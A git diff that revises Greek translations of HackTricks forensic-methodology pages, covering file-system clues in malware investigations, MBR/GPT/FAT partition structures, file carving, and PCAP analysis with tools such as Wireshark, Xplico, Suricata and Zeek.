Συστήματος Αρχείων σε Έρευνες Κακόβουλου Λογισμικού Κατά την έρευνα περιστατικών κακόβουλου λογισμικού, η δομή του συστήματος αρχείων είναι μια κρίσιμη πηγή πληροφοριών, αποκαλύπτοντας τόσο τη σειρά των γεγονότων όσο και το περιεχόμενο του κακόβουλου λογισμικού. Ωστόσο, οι συγγραφείς κακόβουλου λογισμικού αναπτύσσουν τεχνικές για να εμποδίσουν αυτή την ανάλυση, όπως η τροποποίηση των χρονικών σφραγίδων αρχείων ή η αποφυγή του συστήματος αρχείων για αποθήκευση δεδομένων. @@ -342,7 +342,7 @@ More examples and info inside the github: [https://github.com/snovvcrash/usbrip] - **Διεξάγετε μια λεπτομερή ανάλυση χρονολογίας** χρησιμοποιώντας εργαλεία όπως το **Autopsy** για την οπτικοποίηση χρονολογιών γεγονότων ή το `mactime` του **Sleuth Kit** για λεπτομερή δεδομένα χρονολογίας. - **Εξετάστε απροσδόκητα σενάρια** στο $PATH του συστήματος, τα οποία μπορεί να περιλαμβάνουν shell ή PHP σενάρια που χρησιμοποιούνται από επιτιθέμενους. - **Εξετάστε το `/dev` για ασυνήθιστα αρχεία**, καθώς παραδοσιακά περιέχει ειδικά αρχεία, αλλά μπορεί να φιλοξενεί αρχεία που σχετίζονται με κακόβουλο λογισμικό. -- **Αναζητήστε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (dot dot space) ή "..^G" (dot dot control-G), τα οποία θα μπορούσαν να αποκρύπτουν κακόβουλο περιεχόμενο. +- **Αναζητήστε κρυφά αρχεία ή καταλόγους** με ονόματα όπως ".. " (dot dot space) ή "..^G" (dot dot control-G), τα οποία θα μπορούσαν να κρύβουν κακόβουλο περιεχόμενο. - **Εντοπίστε αρχεία setuid root** χρησιμοποιώντας την εντολή: `find / -user root -perm -04000 -print` Αυτό βρίσκει αρχεία με ανυψωμένα δικαιώματα, τα οποία θα μπορούσαν να καταχραστούν από επιτιθέμενους. - **Ανασκοπήστε τις χρονικές σφραγίδες διαγραφής** στους πίνακες inode για να εντοπίσετε μαζικές διαγραφές αρχείων, που μπορεί να υποδηλώνουν την παρουσία rootkits ή trojans. - **Επιθεωρήστε διαδοχικά inodes** για κοντινά κακόβουλα αρχεία μετά την αναγνώριση ενός, καθώς μπορεί να έχουν τοποθετηθεί μαζί. @@ -355,7 +355,7 @@ ls -laR --sort=time /bin``` ls -lai /bin | sort -n``` ```` > [!TIP] -> Σημειώστε ότι ένας **επιτιθέμενος** μπορεί να **τροποποιήσει** τον **χρόνο** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να **τροποποιήσει** το **inode**. Αν βρείτε ότι ένα **αρχείο** υποδεικνύει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια στιγμή** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **αναπάντεχα μεγαλύτερο**, τότε οι **χρόνοι αυτού του αρχείου έχουν τροποποιηθεί**. +> Σημειώστε ότι ένας **επιτιθέμενος** μπορεί να **τροποποιήσει** τον **χρόνο** για να κάνει τα **αρχεία να φαίνονται** **νόμιμα**, αλλά δεν μπορεί να **τροποποιήσει** το **inode**. Αν βρείτε ότι ένα **αρχείο** υποδεικνύει ότι δημιουργήθηκε και τροποποιήθηκε την **ίδια στιγμή** με τα υπόλοιπα αρχεία στον ίδιο φάκελο, αλλά το **inode** είναι **αναπάντεχα μεγαλύτερο**, τότε οι **χρόνοι του αρχείου αυτού τροποποιήθηκαν**. ## Σύγκριση αρχείων διαφορετικών εκδόσεων συστήματος αρχείων diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index ef2065c17..1bc3ffb46 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -4,12 +4,12 @@ ## Διαμερίσματα -Ένας σκληρός δίσκος ή ένα **SSD μπορεί να περιέχει διαφορετικά διαμερίσματα** με στόχο τη φυσική διαχωρισμό των δεδομένων.\ +Ένας σκληρός δίσκος ή μια **SSD δίσκος μπορεί να περιέχει διαφορετικά διαμερίσματα** με στόχο τη φυσική διαχωρισμό των δεδομένων.\ Η **ελάχιστη** μονάδα ενός δίσκου είναι ο **τομέας** (κανονικά αποτελείται από 512B). Έτσι, το μέγεθος κάθε διαμερίσματος πρέπει να είναι πολλαπλάσιο αυτού του μεγέθους. ### MBR (master Boot Record) -Είναι κατανεμημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον υπολογιστή τι και από πού πρέπει να προσαρτηθεί ένα διαμέρισμα.\ +Είναι κατανεμημένο στον **πρώτο τομέα του δίσκου μετά τα 446B του κώδικα εκκίνησης**. Αυτός ο τομέας είναι ουσιώδης για να υποδείξει στον υπολογιστή τι και από πού θα πρέπει να προσαρτηθεί ένα διαμέρισμα.\ Επιτρέπει έως **4 διαμερίσματα** (το πολύ **μόνο 1** μπορεί να είναι ενεργό/**εκκινήσιμο**). Ωστόσο, αν χρειάζεστε περισσότερα διαμερίσματα μπορείτε να χρησιμοποιήσετε **εκτεταμένα διαμερίσματα**. Ο **τελευταίος byte** αυτού του πρώτου τομέα είναι η υπογραφή του boot record **0x55AA**. Μόνο ένα διαμέρισμα μπορεί να χαρακτηριστεί ως ενεργό.\ Το MBR επιτρέπει **μέγιστο 2.2TB**. @@ -17,7 +17,7 @@ ![](<../../../images/image (304).png>) -Από τα **bytes 440 έως 443** του MBR μπορείτε να βρείτε την **Υπογραφή Δίσκου των Windows** (αν χρησιμοποιούνται Windows). Το λογικό γράμμα δίσκου του σκληρού δίσκου εξαρτάται από την Υπογραφή Δίσκου των Windows. Η αλλαγή αυτής της υπογραφής θα μπορούσε να αποτρέψει την εκκίνηση των Windows (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. +Από τα **bytes 440 έως 443** του MBR μπορείτε να βρείτε την **Υπογραφή Δίσκου Windows** (αν χρησιμοποιείται Windows). Το λογικό γράμμα δίσκου του σκληρού δίσκου εξαρτάται από την Υπογραφή Δίσκου Windows. Η αλλαγή αυτής της υπογραφής θα μπορούσε να αποτρέψει την εκκίνηση των Windows (εργαλείο: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**. ![](<../../../images/image (310).png>) @@ -32,11 +32,11 @@ | 494 (0x1EE) | 16 (0x10) | Τέταρτο Διαμέρισμα | | 510 (0x1FE) | 2 (0x2) | Υπογραφή 0x55 0xAA | -**Μορφή Καταγραφής Διαμερίσματος** +**Μορφή Εγγραφής Διαμερίσματος** | Offset | Length | Item | | --------- | -------- | ------------------------------------------------------ | -| 0 (0x00) | 1 (0x01) | Σημαία ενεργοποίησης (0x80 = εκκινήσιμο) | +| 0 (0x00) | 1 (0x01) | Σημαία ενεργότητας (0x80 = εκκινήσιμο) | | 1 (0x01) | 1 (0x01) | Αρχική κεφαλή | | 2 (0x02) | 1 (0x01) | Αρχικός τομέας (bits 0-5); ανώτερα bits του κυλίνδρου (6- 7) | | 3 (0x03) | 1 (0x01) | Αρχικός κύλινδρος χαμηλότερα 8 bits | @@ -47,9 +47,9 @@ | 8 (0x08) | 4 (0x04) | Τομείς πριν το διαμέρισμα (little endian) | | 12 (0x0C) | 4 (0x04) | Τομείς στο διαμέρισμα | -Για να προσαρτήσετε ένα MBR σε Linux, πρέπει πρώτα να αποκτήσετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`) +Για να προσαρτήσετε ένα MBR σε Linux πρέπει πρώτα να αποκτήσετε την αρχική μετατόπιση (μπορείτε να χρησιμοποιήσετε το `fdisk` και την εντολή `p`) -![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) Και στη συνέχεια χρησιμοποιήστε τον παρακάτω κώδικα ```bash @@ -60,11 +60,11 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` **LBA (Λογική διεύθυνση μπλοκ)** -**Λογική διεύθυνση μπλοκ** (**LBA**) είναι ένα κοινό σχέδιο που χρησιμοποιείται για **τον προσδιορισμό της τοποθεσίας μπλοκ** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστών, γενικά σε δευτερεύοντα συστήματα αποθήκευσης όπως οι σκληροί δίσκοι. Το LBA είναι ένα ιδιαίτερα απλό γραμμικό σχέδιο διεύθυνσης; **τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1, και ούτω καθεξής. +**Λογική διεύθυνση μπλοκ** (**LBA**) είναι ένα κοινό σχέδιο που χρησιμοποιείται για **τον καθορισμό της τοποθεσίας μπλοκ** δεδομένων που αποθηκεύονται σε συσκευές αποθήκευσης υπολογιστή, γενικά σε δευτερεύοντα συστήματα αποθήκευσης όπως οι σκληροί δίσκοι. Το LBA είναι ένα ιδιαίτερα απλό γραμμικό σχέδιο διεύθυνσης; **τα μπλοκ εντοπίζονται με έναν ακέραιο δείκτη**, με το πρώτο μπλοκ να είναι LBA 0, το δεύτερο LBA 1, και ούτω καθεξής. ### GPT (Πίνακας Κατατμήσεων GUID) -Ο Πίνακας Κατατμήσεων GUID, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακρίνεται για τον **παγκοσμίως μοναδικό αναγνωριστή** για τις κατατμήσεις, το GPT ξεχωρίζει με αρκετούς τρόπους: +Ο Πίνακας Κατατμήσεων GUID, γνωστός ως GPT, προτιμάται για τις βελτιωμένες δυνατότητές του σε σύγκριση με το MBR (Master Boot Record). Διακρίνεται για τον **παγκοσμίως μοναδικό αναγνωριστικό** για τις κατατμήσεις, το GPT ξεχωρίζει με αρκετούς τρόπους: - **Τοποθεσία και Μέγεθος**: Και οι GPT και MBR ξεκινούν από **τομέα 0**. Ωστόσο, το GPT λειτουργεί σε **64bit**, σε αντίθεση με τα 32bit του MBR. - **Όρια Κατατμήσεων**: Το GPT υποστηρίζει έως **128 κατατμήσεις** σε συστήματα Windows και φιλοξενεί έως **9.4ZB** δεδομένων. @@ -73,11 +73,11 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ **Ανθεκτικότητα Δεδομένων και Ανάκτηση**: - **Πλεονασμός**: Σε αντίθεση με το MBR, το GPT δεν περιορίζει τα δεδομένα κατατμήσεων και εκκίνησης σε μία μόνο θέση. Αντιγράφει αυτά τα δεδομένα σε όλο το δίσκο, ενισχύοντας την ακεραιότητα και την ανθεκτικότητα των δεδομένων. -- **Έλεγχος Κυκλικής Πλεοναστικότητας (CRC)**: Το GPT χρησιμοποιεί CRC για να διασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά για διαφθορά δεδομένων και, όταν ανιχνεύεται, το GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη τοποθεσία του δίσκου. +- **Έλεγχος Κυκλικής Πλεονασμού (CRC)**: Το GPT χρησιμοποιεί CRC για να διασφαλίσει την ακεραιότητα των δεδομένων. Παρακολουθεί ενεργά για διαφθορά δεδομένων, και όταν ανιχνεύεται, το GPT προσπαθεί να ανακτήσει τα κατεστραμμένα δεδομένα από άλλη τοποθεσία του δίσκου. **Προστατευτικό MBR (LBA0)**: -- Το GPT διατηρεί την υποστήριξη προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτή η δυνατότητα βρίσκεται στον κληρονομημένο χώρο MBR αλλά έχει σχεδιαστεί για να αποτρέπει τις παλαιότερες βοηθητικές εφαρμογές που βασίζονται σε MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, διασφαλίζοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους μορφοποιημένους σε GPT. +- Το GPT διατηρεί την υποστήριξη προς τα πίσω μέσω ενός προστατευτικού MBR. Αυτή η δυνατότητα βρίσκεται στον κληρονομημένο χώρο MBR αλλά έχει σχεδιαστεί για να αποτρέπει τις παλαιότερες βοηθητικές εφαρμογές που βασίζονται σε MBR από το να αντικαταστήσουν κατά λάθος τους δίσκους GPT, διασφαλίζοντας έτσι την ακεραιότητα των δεδομένων στους δίσκους που είναι μορφοποιημένοι σε GPT. ![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (1062).png>) @@ -85,7 +85,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ [Από τη Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table) -Σε λειτουργικά συστήματα που υποστηρίζουν **εκκίνηση βασισμένη σε GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση της πρώτης φάσης του κώδικα του **bootloader**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατατμήσεις GPT**. Ο bootloader στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 byte. +Σε λειτουργικά συστήματα που υποστηρίζουν **εκκίνηση με βάση το GPT μέσω υπηρεσιών BIOS** αντί για EFI, ο πρώτος τομέας μπορεί επίσης να χρησιμοποιηθεί για την αποθήκευση της πρώτης φάσης του κώδικα **bootloader**, αλλά **τροποποιημένος** για να αναγνωρίζει τις **κατατμήσεις GPT**. Ο bootloader στο MBR δεν πρέπει να υποθέτει μέγεθος τομέα 512 byte. **Κεφαλίδα πίνακα κατατμήσεων (LBA 1)** @@ -104,7 +104,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ | 32 (0x20) | 8 bytes | Αντίγραφο LBA (τοποθεσία του άλλου αντιγράφου κεφαλίδας) | | 40 (0x28) | 8 bytes | Πρώτο χρησιμοποιήσιμο LBA για κατατμήσεις (τελευταίο LBA κύριου πίνακα κατατμήσεων + 1) | | 48 (0x30) | 8 bytes | Τελευταίο χρησιμοποιήσιμο LBA (πρώτο LBA δευτερεύοντος πίνακα κατατμήσεων − 1) | -| 56 (0x38) | 16 bytes | Disk GUID σε μικτό endian | +| 56 (0x38) | 16 bytes | GUID δίσκου σε μικτό endian | | 72 (0x48) | 8 bytes | Αρχικό LBA ενός πίνακα καταχωρίσεων κατατμήσεων (πάντα 2 στην κύρια αντιγραφή) | | 80 (0x50) | 4 bytes | Αριθμός καταχωρίσεων κατατμήσεων στον πίνακα | | 84 (0x54) | 4 bytes | Μέγεθος μιας μόνο καταχώρισης κατατμήσεων (συνήθως 80h ή 128) | @@ -153,7 +153,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ Η βασική μονάδα αποθήκευσης του συστήματος αρχείων είναι ένα **cluster, συνήθως 512B**, που περιλαμβάνει πολλούς τομείς. Το FAT έχει εξελιχθεί μέσω εκδόσεων: -- **FAT12**, υποστηρίζοντας διευθύνσεις cluster 12 bit και χειριζόμενο έως 4078 clusters (4084 με UNIX). +- **FAT12**, υποστηρίζοντας 12-bit διευθύνσεις clusters και χειρίζεται έως 4078 clusters (4084 με UNIX). - **FAT16**, βελτιώνοντας σε 16-bit διευθύνσεις, επιτρέποντας έτσι έως 65,517 clusters. - **FAT32**, προχωρώντας περαιτέρω με 32-bit διευθύνσεις, επιτρέποντας εντυπωσιακά 268,435,456 clusters ανά όγκο. @@ -164,7 +164,7 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ - **Όνομα Αρχείου/Φακέλου** (έως 8 χαρακτήρες) - **Χαρακτηριστικά** - **Ημερομηνίες Δημιουργίας, Τροποποίησης και Τελευταίας Πρόσβασης** -- **Διεύθυνση Πίνακα FAT** (υποδεικνύει το αρχικό cluster του αρχείου) +- **Διεύθυνση Πίνακα FAT** (που υποδεικνύει το αρχικό cluster του αρχείου) - **Μέγεθος Αρχείου** ### EXT @@ -189,9 +189,9 @@ mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ### Καταγεγραμμένα Διαγραμμένα Αρχεία -Όπως έχει παρατηρηθεί προηγουμένως, υπάρχουν πολλές θέσεις όπου το αρχείο εξακολουθεί να είναι αποθηκευμένο μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σηματοδοτεί ως διαγραμμένο, αλλά τα δεδομένα δεν αγγίζονται. Έτσι, είναι δυνατόν να επιθεωρήσετε τα μητρώα των αρχείων (όπως το MFT) και να βρείτε τα διαγραμμένα αρχεία. +Όπως έχει παρατηρηθεί προηγουμένως, υπάρχουν πολλές θέσεις όπου το αρχείο είναι ακόμα αποθηκευμένο μετά την "διαγραφή" του. Αυτό συμβαίνει επειδή συνήθως η διαγραφή ενός αρχείου από ένα σύστημα αρχείων απλώς το σηματοδοτεί ως διαγραμμένο, αλλά τα δεδομένα δεν αγγίζονται. Έτσι, είναι δυνατό να επιθεωρήσετε τα μητρώα των αρχείων (όπως το MFT) και να βρείτε τα διαγραμμένα αρχεία. -Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές του συστήματος αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατόν να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή όσο το δυνατόν περισσότερες πληροφορίες. +Επίσης, το λειτουργικό σύστημα συνήθως αποθηκεύει πολλές πληροφορίες σχετικά με τις αλλαγές του συστήματος αρχείων και τα αντίγραφα ασφαλείας, οπότε είναι δυνατό να προσπαθήσετε να τα χρησιμοποιήσετε για να ανακτήσετε το αρχείο ή όσο το δυνατόν περισσότερες πληροφορίες. {{#ref}} file-data-carving-recovery-tools.md @@ -199,9 +199,9 @@ file-data-carving-recovery-tools.md ### **File Carving** -**File carving** είναι μια τεχνική που προσπαθεί να **βρει αρχεία σε έναν όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι με τους οποίους λειτουργούν εργαλεία όπως αυτό: **Βασισμένα σε κεφαλίδες και ουρές τύπων αρχείων**, βασισμένα σε **δομές** τύπων αρχείων και βασισμένα στο **περιεχόμενο** αυτό καθαυτό. +**File carving** είναι μια τεχνική που προσπαθεί να **βρει αρχεία μέσα σε έναν όγκο δεδομένων**. Υπάρχουν 3 κύριοι τρόποι με τους οποίους λειτουργούν εργαλεία όπως αυτό: **Βασισμένα σε κεφαλίδες και ουρές τύπων αρχείων**, βασισμένα σε **δομές** τύπων αρχείων και βασισμένα στο **περιεχόμενο** αυτό καθαυτό. -Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κατακερματισμένων αρχείων**. Εάν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα είναι σε θέση να το βρει ή τουλάχιστον μέρος του. +Σημειώστε ότι αυτή η τεχνική **δεν λειτουργεί για την ανάκτηση κατακερματισμένων αρχείων**. Αν ένα αρχείο **δεν αποθηκεύεται σε συνεχόμενους τομείς**, τότε αυτή η τεχνική δεν θα είναι σε θέση να το βρει ή τουλάχιστον ένα μέρος του. Υπάρχουν αρκετά εργαλεία που μπορείτε να χρησιμοποιήσετε για το file carving υποδεικνύοντας τους τύπους αρχείων που θέλετε να αναζητήσετε. @@ -209,9 +209,9 @@ file-data-carving-recovery-tools.md file-data-carving-recovery-tools.md {{#endref}} -### Κατασκευή Ροής Δεδομένων +### Data Stream **C**arving -Η Κατασκευή Ροής Δεδομένων είναι παρόμοια με το File Carving αλλά **αντί να αναζητά πλήρη αρχεία, αναζητά ενδιαφέροντα θραύσματα** πληροφοριών.\ +Data Stream Carving είναι παρόμοιο με το File Carving αλλά **αντί να αναζητά πλήρη αρχεία, αναζητά ενδιαφέροντα θραύσματα** πληροφοριών.\ Για παράδειγμα, αντί να αναζητά ένα πλήρες αρχείο που περιέχει καταγεγραμμένα URLs, αυτή η τεχνική θα αναζητήσει URLs. {{#ref}} @@ -220,8 +220,8 @@ file-data-carving-recovery-tools.md ### Ασφαλής Διαγραφή -Προφανώς, υπάρχουν τρόποι για να **"διαγράψετε με ασφάλεια" αρχεία και μέρη των καταγραφών τους**. Για παράδειγμα, είναι δυνατόν να **επικαλύψετε το περιεχόμενο** ενός αρχείου με άχρηστα δεδομένα πολλές φορές, και στη συνέχεια να **αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και **να αφαιρέσετε τα Volume Shadow Copies**.\ -Μπορείτε να παρατηρήσετε ότι ακόμη και εκτελώντας αυτή την ενέργεια μπορεί να υπάρχουν **άλλες περιοχές όπου η ύπαρξη του αρχείου είναι ακόμη καταγεγραμμένη**, και αυτό είναι αληθές και μέρος της δουλειάς ενός επαγγελματία εγκληματολογίας είναι να τις βρει. +Προφανώς, υπάρχουν τρόποι για να **"διαγράψετε με ασφάλεια" αρχεία και μέρη των καταγραφών τους**. Για παράδειγμα, είναι δυνατό να **επικαλύψετε το περιεχόμενο** ενός αρχείου με άχρηστα δεδομένα πολλές φορές, και στη συνέχεια να **αφαιρέσετε** τις **καταγραφές** από το **$MFT** και το **$LOGFILE** σχετικά με το αρχείο, και **να αφαιρέσετε τα Volume Shadow Copies**.\ +Μπορείτε να παρατηρήσετε ότι ακόμη και εκτελώντας αυτή την ενέργεια μπορεί να υπάρχουν **άλλες περιοχές όπου η ύπαρξη του αρχείου είναι ακόμα καταγεγραμμένη**, και αυτό είναι αληθές και μέρος της δουλειάς ενός επαγγελματία εγκληματολογίας είναι να τις βρει. ## Αναφορές diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md index 5b1a145de..74e22649e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md @@ -2,12 +2,12 @@ {{#include ../../../banners/hacktricks-training.md}} -> [!NOTE] -> Μια σημείωση σχετικά με το **PCAP** και το **PCAPNG**: υπάρχουν δύο εκδόσεις της μορφής αρχείου PCAP; **Το PCAPNG είναι πιο νέο και δεν υποστηρίζεται από όλα τα εργαλεία**. Μπορεί να χρειαστεί να μετατρέψετε ένα αρχείο από PCAPNG σε PCAP χρησιμοποιώντας το Wireshark ή κάποιο άλλο συμβατό εργαλείο, προκειμένου να εργαστείτε με αυτό σε κάποια άλλα εργαλεία. +> [!TIP] +> Μια σημείωση σχετικά με το **PCAP** και το **PCAPNG**: υπάρχουν δύο εκδόσεις της μορφής αρχείου PCAP; **Το PCAPNG είναι πιο νέο και δεν υποστηρίζεται από όλα τα εργαλεία**. Μπορεί να χρειαστεί να μετατρέψετε ένα αρχείο από PCAPNG σε PCAP χρησιμοποιώντας το Wireshark ή κάποιο άλλο συμβατό εργαλείο, προκειμένου να εργαστείτε με αυτό σε άλλα εργαλεία. ## Online tools for pcaps -- Αν η κεφαλίδα του pcap σας είναι **κατεστραμμένη**, θα πρέπει να προσπαθήσετε να την **διορθώσετε** χρησιμοποιώντας: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- Αν η κεφαλίδα του pcap είναι **κατεστραμμένη**, θα πρέπει να προσπαθήσετε να την **διορθώσετε** χρησιμοποιώντας: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) - Εξαγάγετε **πληροφορίες** και αναζητήστε **malware** μέσα σε ένα pcap στο [**PacketTotal**](https://packettotal.com) - Αναζητήστε **κακόβουλη δραστηριότητα** χρησιμοποιώντας [**www.virustotal.com**](https://www.virustotal.com) και [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) - **Πλήρης ανάλυση pcap από τον περιηγητή στο** [**https://apackets.com/**](https://apackets.com/) @@ -18,11 +18,12 @@ ### Wireshark -> [!NOTE] +> [!TIP] > **Αν πρόκειται να αναλύσετε ένα PCAP, πρέπει βασικά να ξέρετε πώς να χρησιμοποιείτε το Wireshark** Μπορείτε να βρείτε μερικά κόλπα του Wireshark στο: + {{#ref}} wireshark-tricks.md {{#endref}} @@ -35,7 +36,7 @@ wireshark-tricks.md [**Xplico** ](https://github.com/xplico/xplico)_(μόνο linux)_ μπορεί να **αναλύσει** ένα **pcap** και να εξαγάγει πληροφορίες από αυτό. Για παράδειγμα, από ένα αρχείο pcap, το Xplico εξάγει κάθε email (πρωτόκολλα POP, IMAP και SMTP), όλα τα περιεχόμενα HTTP, κάθε κλήση VoIP (SIP), FTP, TFTP, κ.λπ. -**Εγκατάσταση** +**Εγκαταστήστε** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE @@ -47,9 +48,9 @@ sudo apt-get install xplico /etc/init.d/apache2 restart /etc/init.d/xplico start ``` -Η πρόσβαση στο _**127.0.0.1:9876**_ με διαπιστευτήρια _**xplico:xplico**_ +Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ -Στη συνέχεια, δημιουργήστε μια **νέα υπόθεση**, δημιουργήστε μια **νέα συνεδρία** μέσα στην υπόθεση και **ανεβάστε το pcap** αρχείο. +Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. ### NetworkMiner @@ -67,7 +68,7 @@ sudo apt-get install xplico - Εξαγωγή κατακερματισμένων κωδικών αυθεντικοποίησης και σπάσιμο τους χρησιμοποιώντας το Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) - Δημιουργία οπτικού διαγράμματος δικτύου (Κόμβοι δικτύου & χρήστες) - Εξαγωγή ερωτημάτων DNS -- Ανακατασκευή όλων των TCP & UDP Συνεδριών +- Ανακατασκευή όλων των TCP & UDP συνεδριών - File Carving ### Capinfos @@ -76,7 +77,7 @@ capinfos capture.pcap ``` ### Ngrep -Αν **ψάχνετε** για **κάτι** μέσα στο pcap μπορείτε να χρησιμοποιήσετε το **ngrep**. Ακολουθεί ένα παράδειγμα χρησιμοποιώντας τα κύρια φίλτρα: +Αν **ψάχνετε** για **κάτι** μέσα στο pcap μπορείτε να χρησιμοποιήσετε **ngrep**. Ακολουθεί ένα παράδειγμα χρησιμοποιώντας τα κύρια φίλτρα: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` @@ -96,7 +97,7 @@ ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192. ### Suricata -**Εγκατάσταση και ρύθμιση** +**Install and setup** ``` apt-get install suricata apt-get install oinkmaster @@ -127,7 +128,7 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) είναι ένας παθητικός, ανοιχτού κώδικα αναλυτής δικτυακής κίνησης. Πολλοί χειριστές χρησιμοποιούν το Zeek ως Δίκτυο Ασφαλείας Monitor (NSM) για να υποστηρίξουν τις έρευνες για ύποπτη ή κακόβουλη δραστηριότητα. Το Zeek υποστηρίζει επίσης μια ευρεία γκάμα εργασιών ανάλυσης κίνησης πέρα από τον τομέα της ασφάλειας, συμπεριλαμβανομένης της μέτρησης απόδοσης και της αποσφαλμάτωσης. +> [Zeek](https://docs.zeek.org/en/master/about.html) είναι ένας παθητικός, ανοιχτού κώδικα αναλυτής δικτυακής κίνησης. Πολλοί χειριστές χρησιμοποιούν το Zeek ως Δίκτυο Ασφαλείας Monitor (NSM) για να υποστηρίξουν έρευνες για ύποπτη ή κακόβουλη δραστηριότητα. Το Zeek υποστηρίζει επίσης ένα ευρύ φάσμα εργασιών ανάλυσης κίνησης πέρα από τον τομέα της ασφάλειας, συμπεριλαμβανομένης της μέτρησης απόδοσης και της αποσφαλμάτωσης. Βασικά, τα αρχεία καταγραφής που δημιουργούνται από το `zeek` δεν είναι **pcaps**. Επομένως, θα χρειαστεί να χρησιμοποιήσετε **άλλα εργαλεία** για να αναλύσετε τα αρχεία καταγραφής όπου οι **πληροφορίες** σχετικά με τα pcaps είναι. @@ -200,14 +201,17 @@ rita show-exploded-dns -H --limit 10 zeek_logs ``` ## Άλλες τεχνικές ανάλυσης pcap + {{#ref}} dnscat-exfiltration.md {{#endref}} + {{#ref}} wifi-pcap-analysis.md {{#endref}} + {{#ref}} usb-keystrokes.md {{#endref}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md index d15d9f444..be6c15a60 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,39 +1,50 @@ +# Τεχνικές για Συγκεκριμένα Λογισμικά/Τύπους Αρχείων + {{#include ../../../banners/hacktricks-training.md}} -Εδώ μπορείτε να βρείτε ενδιαφέροντα κόλπα για συγκεκριμένους τύπους αρχείων και/ή 